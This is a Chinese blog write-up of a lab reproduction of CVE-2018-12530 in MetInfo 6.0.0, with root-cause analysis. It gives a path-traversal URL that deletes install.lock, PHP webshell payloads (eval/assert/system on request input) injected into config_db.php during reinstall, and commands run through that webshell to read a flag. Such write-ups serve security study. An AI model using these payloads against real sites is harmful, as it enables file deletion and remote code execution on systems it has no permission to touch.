【漏洞复现】Metinfo 6.0.0任意文件删除(CVE-2018-12530)
【漏洞复现】 Metinfo 6.0.0任意文件删除(CVE-2018-12530)
0x01 靶场介绍
MetInfo是中国米拓信息技术有限公司的一套使用PHP和Mysql开发的内容管理系统(CMS)。MetInfo6.0.0版本中的install\index.php文件存在安全漏洞。远程攻击者可利用该漏洞向config_db.php文件写入任意的PHP代码。
春秋云镜靶场:Metinfo 6.0.0任意文件删除。后台密码:f2xWcke5KN6pfebu
0x02 影响版本
Metinfo 6.0.0
0x03 具体步骤
进入靶场,界面如下:
首先随便注册了一个普通账户进入后台:
观察到URL中普通用户是/member,尝试在URL输入管理员/admin
,竟直接跳转后台地址:/admin/index.php?n=login&c=login&a=doindex
根据所给后台密码f2xWcke5KN6pfebu
进行管理员admin登录:
进入后台,直接使用payload删除安装锁定保护文件:
/admin/app/batch/csvup.php?fileField=test-1&flienamecsv=../../../config/install.lock
再回到首页,发现进入了安装界面:
数据库配置处随便找个栏目插入payload,数据库密码root:
*/eval($_REQUEST[1])/*
*/assert($_REQUEST[1])/*
*/@system($_REQUEST[1]);/*
创建失败很正常,说明payload已成功插入配置文件中
直接访问配置文件路径:
/config/config_db.php?1=phpinfo();
测试访问成功:
查找flag:
/config/config_db.php?1=system("cat%20/flag");
0x04 漏洞分析
MetInfo 6.0.0版本存在任意文件读取和任意代码执行漏洞。在安装过程中没有对输入进行过滤,导致任意代码执行,执行webshell。
MetInfo 6.0.0源码下载:
http://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
任意文件读取分析
没有对传入的filenamecsv
过滤,而是直接读取了这个csv文件,读取完成后直接采取了unlink操作,故产生了漏洞。
/admin/app/batch/csvup.php?fileField=test-1&flienamecsv=../../../config/install.lock
任意代码执行分析
源码:
利用/* */
对配置文件中的数据库信息进行前后闭合,使php代码只执行payload:
pass = "*/assert($_REQUEST[w])/*"
拼接之后代码为:
<?php
/*
con_db_host = "localhost"
con_db_port = "3306"
con_db_id = "root"
con_db_pass = ""*/assert($_REQUEST[w]);/*""
con_db_name = "metinfo"
tablepre = "met_"
db_charset = "utf8";
*/
?>
Metinfo 6.0.0 众多漏洞分析参考学习:https://www.anquanke.com/post/id/154149
本文来自博客园,作者:0dot7,转载请注明原文链接:https://www.cnblogs.com/0dot7/p/17227172.html
文章如有错误,欢迎各位师傅指正!!!
免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!